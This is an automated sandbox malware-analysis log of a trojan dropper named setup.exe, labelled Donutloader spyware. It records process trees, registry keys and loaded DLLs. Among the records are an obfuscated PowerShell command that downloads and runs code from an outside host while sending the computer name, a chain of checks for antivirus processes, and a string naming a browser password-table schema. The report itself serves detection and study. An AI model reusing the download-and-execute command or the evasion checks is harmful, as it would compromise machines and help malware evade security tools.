Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@59/15@4/3

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_007B0AC0 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,

0_2_007B0AC0

Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

File created: C:\Users\user\AppData\Roaming\ColorStreamLib

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5684:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:792:120:WilError_03

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: setup.exe, 00000000.00000003.1841620339.0000000003677000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829599046.0000000003695000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\user\Desktop\setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe "C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe"
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp "C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp" /SL5="$902A0,7785838,845824,C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe"
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe "C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp "C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp" /SL5="$90262,7785838,845824,C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe "C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp "C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp" /SL5="$902A0,7785838,845824,C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe "C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp "C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp" /SL5="$90262,7785838,845824,C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
